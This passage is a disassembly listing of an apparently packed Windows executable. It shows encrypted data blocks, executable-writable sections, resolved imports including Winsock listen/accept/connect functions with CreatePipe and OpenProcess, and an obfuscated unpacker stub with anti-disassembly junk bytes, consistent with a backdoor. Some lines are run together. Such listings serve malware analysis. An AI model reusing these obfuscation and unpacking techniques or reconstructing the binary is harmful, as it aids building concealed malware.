dword_4EF044	dd 0							; sub_426230+3Fw ...
dword_4EF048	dd 0							; sub_422D50+9r ...
dword_4EF04C	dd 0							; sub_422240+4A4r ...
dword_4EF050	dd 0							; sub_422240+5B2w ...
dword_4EF054	dd 0							; sub_422240+468r ...
dword_4EF058	dd 0							; sub_422120+3Ew ...
dword_4EF05C	dd 0							; seg000:loc_4220C6r ...
dword_4EF060	dd 0							; sub_421BE0+5Cr ...
dword_4EF064	dd 0							; seg000:00420DFFw ...
dword_4EF068	dd 0							; sub_42C0C0:loc_42C0D2r ...
dword_4EF06C	dd 0							; sub_41EF20+4Dr ...
		dd 4 dup(0)
dword_4EF080	dd 400h	dup(0)						; seg002:0044FA78o
dword_4F0080	dd 0							; sub_41EF20+Dw ...
dword_4F0084	dd 0							; sub_432F50+Er
dword_4F0088	dd 0							; sub_4265E0+16w ...
dword_4F008C	dd 0							; sub_41FDB0:loc_41FE1Ar ...
dword_4F0090	dd 0							; sub_41FDB0+1Fr ...
dword_4F0094	dd 0							; seg000:0041C5EFw ...
byte_4F0098	db 0			; DATA XREF: sub_4377E0+5r
					; sub_4377E0+11r ...
		align 1000h
seg002		ends

; Section 4. (virtual address 000F1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000F1000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg003		segment	para public 'CODE' use32
		assume cs:seg003
		;org 4F1000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0F1244h, 2 dup(0)
		dd 0F150Ah, 0F14A4h, 0F103Ch, 2	dup(0)
		dd 0F1E4Eh, 0F129Ch, 5 dup(0)
		dd 850A4604h, 0B9F94064h, 0D8B554C9h, 0B01CF0C1h, 0EE166BFEh
		dd 76CECDFDh, 3B0C72AAh, 0E522F5A4h, 790A62D3h,	143B7ED6h
		dd 0B9B7597Bh, 0CA7876AAh, 0C0E4FAB8h, 0D9EF6F99h, 6B2C3470h
		dd 55A89A4Ch, 2C1FC9E2h, 0CBE664DFh, 617925E9h,	331FA793h
		dd 0CB158DEAh, 0C7DACB4Eh, 0F2EF2E5Dh, 2439F3B7h, 0DEBB56FDh
		dd 8B220F42h, 6819003Fh, 75FAB40Ch, 4CF9F52Ah, 3754477Fh
		dd 188086C5h, 0D2083883h, 1FD861B2h, 70BD24B3h,	5E59EA56h
		dd 49B56400h, 4E93CDE4h, 398CF596h, 0F284B43Dh,	0F16D0954h
		dd 0C3C5F783h, 0C8141CCh, 0A4792A21h, 0F8DFC89Dh, 78C48E51h
		dd 502C295Ch, 0C7F30C8Eh, 0F795497Dh, 8094361Ch, 4FB92F17h
		dd 0E6B44FCDh, 772507D0h, 67FA0C2Fh, 7CBF217Eh,	6F3421ABh
		dd 0E62DAE0Ah, 8ADCB32h, 5669FBE7h, 6A62478Fh, 1730946Bh
		dd 26CEBBBEh, 0B29E4AD2h, 0E3E86CE5h, 0CCB98117h, 54C24DD0h
		dd 6EEB4B0h, 106B690Ch,	76AB1535h, 1858D4C4h, 8FA6CC0Eh
		dd 2FFCA5DAh, 0C153CF02h, 1E362AEDh, 0AD590B44h, 0A13CFD6Ch
		dd 245FDB57h, 2440F9F9h, 4721D668h, 562891EEh, 3137399Dh
		dd 6CCD3E7Ah, 0AC925D88h, 58FA7CA5h, 962E45F7h,	0CEF21356h
		dd 0C1DC1EB3h, 0BA8BF333h, 88826B0Fh, 2E2E28DEh, 93611BC6h
		dd 895458A5h, 13366CA0h, 69C98ACDh, 0E0C0DA9h, 49F4EB7Eh
		dd 678BF611h, 0F36CBCE2h, 0C9B9C8DDh, 0BF9318B3h, 351C092Eh
		dd 24C155Bh, 38224312h,	84111A30h, 0B39B838Dh, 0A86A0244h
		dd 9060F594h, 6C717115h, 5F8CD1A2h, 2982744Ch, 2188F42Fh
		dd 0B4F0DA51h, 213D4917h, 0C57174FBh, 13548A88h, 6DF686E3h
		dd 809C9B44h, 0E36B6F1Ch, 0F19790EFh, 0AFA8D649h, 924FE73Bh
		dd 13261A33h, 50C9675Eh, 10ACEEDCh, 0E7B49CBBh,	2ACC9986h
		dd 51485BF0h, 363C07D2h, 2B5863DAh, 7DD3FE3Ch, 0
		dd 0C2B7A946h, 7D8CA8D3h, 9B603C2Fh, 0C3976AA2h, 0D322E709h
		dd 4DA40988h, 968CFF0h,	764436E4h, 28C1DE5Dh, 7F16C81Ch
		dd 0A9C1B81Ah, 3CEE5F1Ch, 30E289D8h, 0B09CF76h,	6485994Ah
		dd 27456804h, 30F9B8D2h, 3F81FD1Ch, 3E9B74C7h, 66F8D25Ah
		dd 0CFF9223Ah, 0
		dd 9B706097h, 22814366h
dword_4F12A4	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; sub_4369D0+3DAr
dword_4F12A8	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; sub_4369D0+D9r
dword_4F12AC	dd 7C811562h	; resolved to->KERNEL32.GetLocaleInfoW					; sub_436680+8Br ...
		dd 838B4B62h, 1863F844h, 0CB7E04Fh, 3F02F4ADh, 44D1982Dh
		dd 63E2A65Eh
dword_4F12C8	dd 7C84467Dh	; resolved to->KERNEL32.SetUnhandledExceptionFilter					; sub_4306D0+9r
dword_4F12CC	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; seg000:0042E1DEr ...
		dd 0FE9E8C92h, 6ECF8482h, 0E6539136h
dword_4F12DC	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW					; sub_42C7E0+6Dr
dword_4F12E0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; sub_42C7E0+171r
dword_4F12E4	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsW					; sub_42C7E0+150r
		dd 57F6847Fh
dword_4F12EC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4F12F0	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; seg000:0042BCE5r ...
dword_4F12F4	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40132F+29r ...
dword_4F12F8	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; seg000:00407E59r ...
dword_4F12FC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40A472+9Dr ...
		dd 84D8E7A8h, 20F52F72h, 5215C613h
dword_4F130C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4014F8:loc_401A06r ...
dword_4F1310	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_4014F8:loc_401742r ...
dword_4F1314	dd 3A7574h						; seg000:00417FA9r ...
dword_4F1318	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_4F131C	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; seg000:0040498Ar ...
		dd 305525FAh
dword_4F1324	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess		dd 8D5BE9F7h, 7C8286EEh, 9D672225h
dword_4F1334	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_420150+8r
		dd 0EF66CA41h, 0E642DECh
dword_4F1340	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; seg000:loc_4054B0r ...
dword_4F1344	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread		dd 3348C7C0h, 30330B03h, 0A616F9B1h
dword_4F1354	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoA					; seg000:00431CF8r ...
dword_4F1358	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExA					; seg000:00417D7Dr ...
		dd 17677F9Ch
dword_4F1360	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_41F0E0+35r ...
dword_4F1364	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_41F070+35r ...
dword_4F1368	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4F136C	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSection					; sub_40A146+22Fr ...
dword_4F1370	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_40AA3E+65r ...
dword_4F1374	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_40F788+25r ...
		dd 0EF492061h, 57C05DF8h
dword_4F1380	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; seg000:0040E72Ar ...
dword_4F1384	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_40E268+116r ...
		dd 0BE425D35h, 6848B0ABh
dword_4F1390	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_419602+79r
dword_4F1394	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe					; sub_412160+23r ...
		dd 0A8A40B41h, 28F10AA2h, 36E6802Ch, 9881BFB5h,	0BAC68A4Ah
		dd 40B5F08Ah
dword_4F13B0	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileA					; seg000:00411282r
dword_4F13B4	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_4F13B8	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_42B770+3Cr
		dd 104DA893h, 3F8C940Fh, 0FEBB209Bh
dword_4F13C8	dd 7C80A7D4h	; resolved to->KERNEL32.GetLocalTime					; sub_4161A7+Dr ...
		dd 4214D851h, 2ACFBEA5h
dword_4F13D4	dd 7C80FE82h	; resolved to->KERNEL32.GlobalUnlockdword_4F13D8	dd 7C80FF19h	; resolved to->KERNEL32.GlobalLock		dd 60A859F7h, 0F38FDDB1h, 68C879DEh, 0CA90F945h, 51E94A32h
		dd 38E4C0E3h, 1EA5CC14h
dword_4F13F8	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiA		dd 97F52399h, 0BB9DD368h, 16F04368h, 87DCDABDh,	70B4953Fh
		dd 56E4D0D1h
dword_4F1414	dd 7C85E9BBh	; resolved to->KERNEL32.HeapValidate					; sub_421F70+39r
		dd 7EC49FCFh, 84CAED3Eh
dword_4F1420	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4F1424	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_41FEE0+6Dr ...
dword_4F1428	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_420960+2Cr ...
		dd 687CBED2h, 0B71FE26Bh
dword_4F1434	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4F1438	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak		dd 12B63939h, 67830239h
dword_4F1444	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_4219A0+16r ...
		dd 7F78DF1Fh
dword_4F144C	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_421D10+11Br ...
dword_4F1450	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_421D10+1B0r ...
dword_4F1454	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; seg000:004220B5r ...
dword_4F1458	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroy					; seg000:004220E2r
dword_4F145C	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_4F1460	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; seg000:004220A0r ...
dword_4F1464	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_422E60+A7r
		dd 64431F68h
dword_4F146C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_425C30+50r ...
dword_4F1470	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAllocdword_4F1474	dd 7C8136D7h	; resolved to->KERNEL32.TlsFreedword_4F1478	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Errordword_4F147C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; seg000:00425CECr
		dd 9A1A2C23h, 0F1758B7Eh, 0F7314EFEh, 33C1082Ah, 8846DC89h
		dd 3314D535h
dword_4F1498	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; sub_437F60+33r
		dd 0B7F57D68h, 0
dword_4F14A4	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; seg000:004378AEr
dword_4F14A8	dd 71AB46C9h	; resolved to->WS2_32.getsockopt					; seg000:004378A8r
dword_4F14AC	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; seg000:004378A2r
dword_4F14B0	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; seg000:00413894r ...
dword_4F14B4	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_4146B0+8Cr ...
dword_4F14B8	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_41037E+8Er ...
dword_4F14BC	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; seg000:0043788Ar
dword_4F14C0	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_4146B0+70r ...
dword_4F14C4	dd 71AB3E00h	; resolved to->WS2_32.bind					; seg000:0043787Er
dword_4F14C8	dd 71AB88D3h	; resolved to->WS2_32.listen					; seg000:00437878r
dword_4F14CC	dd 71AC1028h	; resolved to->WS2_32.accept					; seg000:00437872r
dword_4F14D0	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_410301+68r ...
dword_4F14D4	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_410301+41r ...
dword_4F14D8	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; seg000:00437860r
dword_4F14DC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; seg000:0040FD17r ...
dword_4F14E0	dd 71AB615Ah	; resolved to->WS2_32.recv					; seg000:0040FEAEr ...
dword_4F14E4	dd 71AB3B91h	; resolved to->WS2_32.socket					; seg000:0040FD21r ...
dword_4F14E8	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40EE3A+182r ...
dword_4F14EC	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4F14F0	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; seg000:0040EE05r ...
dword_4F14F4	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40CDDB+4Cr ...
		dd 0
		dd 0A2F2003Dh, 54F6D256h, 0F73EA362h, 8AD20000h, 6955BB55h
		dd 6AC89838h, 2960000h,	9A771837h, 7D00C6h, 0E101BA7Ah
		dd 41DD7240h, 94D3F6h, 5565001Bh, 6EA6AAC7h, 2F19C17Ah
		dd 440078h, 9293F4Fh, 0C803F6A2h, 0C04A55DDh, 91DBh, 9AAF0124h
		dd 32E4D1D2h, 3E475FB3h, 6E3234B5h, 7CB3BACh, 1590000h
		dd 4E8AFA07h, 45F2C73Eh, 0B148A908h, 0C32FA0B7h, 99A8B0h
		dd 0BFE001C2h, 16F45D72h, 70662500h, 9B9h, 97B5011Ah, 35CC7BA9h
		dd 27AF78ECh, 2870h, 60CC013Eh,	2AA05573h, 0E246CE1h, 7384AEDDh
		dd 1260000h, 84FBDEF4h,	257E1694h, 7502B484h, 64A19154h
		dd 4A0000h, 0BDD9FE11h,	40E01C9Fh, 0E172CF85h, 570000h
		dd 99CAC9FEh, 8AF95006h, 23FBF3h, 0D6201EFh, 0F4C26466h
		dd 0B93A4155h, 0F80074h, 0C0A3D0EBh, 2D1AAE84h,	1A6718BEh
		dd 25772F87h, 657AB3h, 3F030028h, 345B5FC9h, 0F30F34h
		dd 5EDE0268h, 53AAA0B5h, 831246CFh, 103BC37Dh, 0B2FABF0Ch
		dd 10D0000h, 55E5B4B4h,	0D9D11497h, 89F480BCh, 4D41DEC6h
		dd 0F5FCh, 561402CEh, 6050AE9Ah, 49288725h, 0C09F816Ah
		dd 4FA18286h, 3F009Fh, 30FB584Ah, 0E5F54C17h, 110A0DCDh
		dd 16D0000h, 74C82777h,	9F3A507h, 87B7A0E9h, 29F0000h
		dd 28462B89h, 0C05544F7h, 564C01C3h, 0F5B44h, 0D0C90165h
		dd 56496293h, 0BDAF2ECCh, 705Dh, 0E16301DDh, 0C449307Ch
		dd 0EAF608h, 0D2300CEh,	7A1DF161h, 826E2B9Ch, 0D0116825h
		dd 3E07h, 9480011Ch, 0A649BE8h,	0EE7B0ABBh, 7D2C904Ch
		dd 1750000h, 66D4F2EBh,	1DA160F8h, 0BEEC64E1h, 7E007Ch
		dd 0C08445D6h, 2A2DF800h, 6C96h, 0EC6001C1h, 5640BF67h
		dd 1B5959AAh, 0F6D58DD9h, 60D194D2h, 0B14Ah, 9B960066h
		dd 81DA6816h, 0BF2DB874h, 87A191F7h, 0F1F25979h, 1C5Ah
		dd 5C3001ABh, 2086A9F1h, 98C2C2E2h, 777E29D5h, 0D560427Ah
		dd 19E2D360h, 2303B003h, 9379F389h, 0EA9B819Dh,	0F3E4h
		dd 8DAE0055h, 0EED32B0Fh, 296AABB6h, 99251EFCh,	93D62CC6h
		dd 419C98h, 995301E4h, 0F0CE0DA9h, 0D286813Bh, 7CEBD9B7h
		dd 0E53953F3h, 21800D8h, 67210D91h, 0E8229653h,	2DF0000h
		dd 79822F4Eh, 55683F5Fh, 2A7009Eh, 5C12DE37h, 1959307Eh
		dd 0F14978AAh, 0A2355371h, 340099h, 0A087416Eh,	46168189h
		dd 5F62E8h, 0B99F02D2h,	8797A66Fh, 0D8735927h, 5E55DF90h
		dd 9CE293F0h, 29E0005h,	272C52D9h, 7E5B8B3Dh, 0EF4D581Dh
		dd 72DAE52Fh, 630000h, 5D440CD8h, 8D824FD2h, 627F128Eh
		dd 6CAB7Dh, 486900F7h, 0CB34E9E8h, 61FE7749h, 0C794592Ah
		dd 0F18D9Ch, 0B3300043h, 4130686h, 6BCEC07Bh, 16E0000h
		dd 0CBB8D41h, 767790F3h, 7952CCCCh, 4309h, 78CA00FBh, 6E5386D3h
		dd 9DBC49E7h, 10B2E76Eh, 1120000h, 7706385Eh, 0D0D8F3DAh
		dd 7C3307h, 28F00090h, 0CF9D6569h, 0E76FEBh, 91DC008Ah
		dd 575C4D2Ah, 0B4DEF897h, 35646830h, 0F98A9B3Bh, 303Fh
		dd 2DA50089h, 0DF83AE06h, 0F1EEFC3Bh, 8CFD7845h, 76F36E34h
		dd 0A5850603h, 9D005Eh,	336D8B8h, 0C53E6A43h, 20C09EDEh
		dd 94009Ch, 0DC979EDAh,	0F2CC241Ah, 9A48D2E7h, 0F310h
		dd 1538026Ah, 21557264h, 9870DAFCh, 7F723922h, 2410000h
		dd 0E9E3E61Bh, 0CEB1597Ch, 0D7136DBAh, 7B3C1CA4h, 67447A9Ch
		dd 2CC00C7h, 0E26FCABFh, 0E76BEEh, 0C9700A87h, 0CA1CA73Eh
		dd 33FC8E0Fh, 3606h, 0B53100B8h, 629B2B97h, 6E3BAE54h
		dd 3E6CCAA8h, 255E6328h, 8505B331h, 3FB6h, 944A011Bh, 0A621E36Fh
		dd 8742E0BFh, 30CEh, 351F0206h,	0B65A8169h, 357E312h, 50CCFE1Dh
		dd 33AA88C6h, 41CDC12h,	20700FDh, 4D286DF8h, 5E7B88E2h
		dd 3F080DF1h, 6A673BBCh, 2A40D4A5h, 2D31DB21h, 0AF0048h
		dd 6C405CD6h, 0ACEC2067h, 0EDCF383Eh, 3F88h, 0DB670193h
		dd 0F47EF383h, 4D206164h, 0B4C2h, 88F2018Ch, 60B85EB1h
		dd 0C760ACD8h, 2B00000h, 8BA0212Dh, 0A120FB45h,	49386E2Eh
		dd 5EE2D7h, 52AA01D6h, 70EDAA01h, 9C2EC666h, 710133h, 62E70035h
		dd 3B0AF73Bh, 0DA1653C7h, 47CF9B9Ah, 4A8E3883h,	26C0000h
		dd 3EBE88F6h, 0D38B91EFh, 477528h, 37F60114h, 4E6190BDh
		dd 0DF2E09Fh, 80001Eh, 0AE387488h, 468EF979h, 475F4D73h
		dd 0ACEF20CCh, 36CE1C46h, 0E1930B3Dh, 0B40097h,	79A0F065h
		dd 5D5F86DBh, 3D9CBDh, 4D5202FFh, 7044AAAh, 0F3D307h, 41D9010Bh
		dd 79C41740h, 99C82FB6h, 0C8ABF01Eh, 0C108B67Dh, 1F90000h
		dd 0B732FBE3h, 7D6E302h, 0B0F477B3h, 12000BBh, 2D7C3054h
		dd 0D709ACA6h, 46A2E380h, 0C016C4A8h, 18D0000h,	5BDC88D2h
		dd 8603449Ah, 0C6B05D6Ah, 0FB006B32h, 490Eh, 93D901B8h
		dd 57DD0CE9h, 3AB8D400h, 47DF3Ch, 0A33601B5h, 0E49C5ABCh
		dd 7A377B5h, 7C32h, 947601A7h, 9AC52F6Eh, 0AB31E357h, 0AB3Bh
		dd 0F3B00170h, 0FAA654CAh, 999C0D65h, 7FDCCBC4h, 0D6E6F29Ah
		dd 67389488h, 15D0000h,	0C9DD91B9h, 0EC68AE66h,	84945A9Eh
		dd 22F00A3h, 0B0CBF620h, 4E69DC8Ah, 1AD003Fh, 68A133D3h
		dd 18D28E57h, 31EC5FEAh, 62185BDBh, 94F3F210h, 1B00000h
		dd 1F315F51h, 9EBD2ECDh, 9EC8884Ah, 5FDDF0BFh, 6AB2BDF3h
		dd 1500000h, 91731FC5h,	0D2C00EA1h, 57A35743h, 221993h
		dd 0FD7900CAh, 0C882CD4Fh, 0CB47BD3Eh, 23B12202h, 174007Ch
		dd 314DE79Ch, 750A0677h, 7EFh, 0E5360051h, 74041B27h, 6F5DC06Fh
		dd 1520000h, 0DBE4E842h, 0D27ABDA6h, 0A6273952h, 1F50000h
		dd 0B0EBCFC5h, 2D7E70E8h, 7B7759A3h, 35A4DF4Ah,	7B89h
		dd 0BC5101AAh, 0C5F0E8F0h, 0C2C829A7h, 1AFCD4BFh, 45BCF661h
		dd 5CE1C359h, 3C533Fh, 0CB270085h, 4A54AF7Bh, 0B77FF2B8h
		dd 4414CEh, 8B0E0199h, 0B31CD332h, 0EBA45Eh, 6EA001A2h
		dd 8273DBD5h, 0D908DB47h, 19F006Eh, 0A571245Dh,	0FB198879h
		dd 19D0000h, 95CBC89Ah,	0AA1C6CA1h, 773600h, 6EFA019Bh
		dd 6A56419Eh, 6DB3BD8Dh, 2BF0000h, 0EDDF5083h, 7A8CEC4Ch
		dd 6DB046h, 0F58402BBh,	0B5FCE69Fh, 6692F71Ah, 0FDD0h
		dd 0D34B00FAh, 0DD5EADB9h, 88E030BAh, 0A78E9596h, 50F5B5E4h
		dd 2A50000h, 0DB004713h, 2E384163h, 0A4F112h, 1FAE02A2h
		dd 0AF166DDh, 0E1AFh, 9E802A3h,	92D4607Ah, 2710057h, 6D2688ADh
		dd 9B85F200h, 0FEA07FC4h, 2A40000h, 0F197A87h, 0BB5F93A2h
		dd 0FD385Bh, 0AD800F9h,	8EBCB4EDh, 0ED00BECh, 170AC2E5h
		dd 8405h, 241400BFh, 0A7AD45EEh, 0F61E76h, 230300B9h, 8F185314h
		dd 1310000h, 0BC305300h, 0AF4E215Fh, 26D0000h, 7C81CE25h
		dd 693C73F7h, 4D0A38A6h, 76AEh,	0B24C0115h, 39C97538h
		dd 0A328C96h, 20B0035h,	6A514CB0h, 11841AACh, 27125B04h
		dd 8894h, 47EA01BFh, 0DB1DF2FEh, 5146DDB7h, 0C39Bh, 0E12001C0h
		dd 7043982Ch, 0A6377204h, 0F0ADh, 0C64302ADh, 5B6896FAh
		dd 0D8A0D3AEh, 0DCD9B55h, 0A66DB0D6h, 485C7647h, 9E6Ah
		dd 551300B2h, 0B9BB0BFEh, 70C1827Ch, 0F98C8DECh, 6B2D1AFEh
		dd 1775E895h, 0B30015h,	20A6CACEh, 2A639B8Dh, 7429B187h
		dd 561C01B4h, 5B71D99h,	0C71412h, 0B6EA0106h
		dd 76D5012h, 1A438028h,	0D269AE3Eh, 192E6841h, 271162h
		dd 0D8770108h, 0B705407Ch, 1170E2C8h, 5D2780C2h, 7D7E0900h
		dd 0D02CF0C4h, 27C0000h, 0E659BBE9h, 0D8BC9E97h, 0C8792680h
		dd 0AA0000h, 0D21F2E81h, 7A3C1E65h, 0F363AC8Ah,	68D91216h
		dd 1530000h, 92EAD6F9h,	0A306979Fh, 5298B3E5h, 0CB15h
		dd 0C4070156h, 27392C29h, 0DE072C4Bh, 78C6AD8Bh, 28B0000h
		dd 56BBE95Bh, 0BD88B62Bh, 424EC853h, 591539B4h,	7BF77DD4h
		dd 5D31278Eh, 0ACC9EFh,	0F2B001B2h, 0F75AB747h,	54980C22h
		dd 4B33h, 0D91A01BEh, 6F335B03h, 4DA6A3FAh, 45ADCAh, 318801BDh
		dd 5121C3C9h, 0BFAD1A05h, 95F6C170h, 77003Ah, 1793A309h
		dd 94342304h, 0E48812C9h, 0CCBBAB9Fh, 6307h, 0F5930171h
		dd 12B04EB3h, 660A85DAh, 353EB5A1h, 522B54B9h, 2610000h
		dd 0B4F196CAh, 2FECE0B3h, 3DF25A1Ah, 11D0000h, 80531E55h
		dd 0DC5F4D43h, 52C9B52Ah, 0D59Bh, 0D90B0021h, 23DD6908h
		dd 2DC5CFDDh, 0C4326895h, 220000h, 3E22A610h, 781DA741h
		dd 413B3D98h, 5D88h, 0AA80262h,	0F02BAD57h, 28795785h
		dd 0CCEF5390h, 0D2B9D980h, 114FF03Eh, 0E6EB004Dh, 3DF5D209h
		dd 309451B4h, 0BE42h, 69h dup(0)
seg003		ends

; Section 5. (virtual address 000F2000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 000F2000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg004		segment	para public 'CODE' use32
		assume cs:seg004
		;org 4F2000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 0CD1h dup(0)
		db 0
byte_4F5345	db 3 dup(0)		; DATA XREF: seg002:00450B60o
		dd 72Eh	dup(0)
seg004		ends

; Section 6. (virtual address 000F7000)
; Virtual size			: 0001D000 ( 118784.)
; Section size in file		: 0001D000 ( 118784.)
; Offset to raw	data for section: 000F7000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 4F7000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_4F700A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_4F700E
; ---------------------------------------------------------------------------


loc_4F700A:				; CODE XREF: .data:004F7002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_4F700E:				; CODE XREF: .data:004F7008j
		call	loc_4F7014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4F7014:				; CODE XREF: .data:loc_4F700Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 0F7000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_4F7034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_4F7065


loc_4F7034:				; CODE XREF: .data:004F7026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4F70CA
; ---------------------------------------------------------------------------
		dd 390000h, 30000h, 7C809AE4h, 3BE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_4F7065:				; CODE XREF: .data:004F7032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_4F7090
		jmp	short loc_4F7077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4F7077:				; CODE XREF: .data:004F7074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4F70B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4F70B4


loc_4F7090:				; CODE XREF: .data:004F7072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4F70A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4F70A0:				; CODE XREF: .data:004F7097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4F70B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4F70B4:				; CODE XREF: .data:004F707Dj
					; .data:004F708Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4F70C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4F70C0:				; CODE XREF: .data:004F70B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4F70CA:				; CODE XREF: .data:004F7043j
		js	loc_4F70D4
		push	edi
		mov	dl, al
		pop	ebx


loc_4F70D4:				; CODE XREF: .data:loc_4F70CAj
		call	near ptr loc_4F70E5+1
		and	[esi+7], eax
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_4F70E5:				; CODE XREF: .data:loc_4F70D4p
		adc	eax, 685999B7h
		sbb	byte ptr [edi-19h], 3Bh
		adc	dx, 0E8EFh
		pop	edx
		add	ecx, 8ADh
		mov	ebx, esi
		mov	esi, 6BBCE13Dh
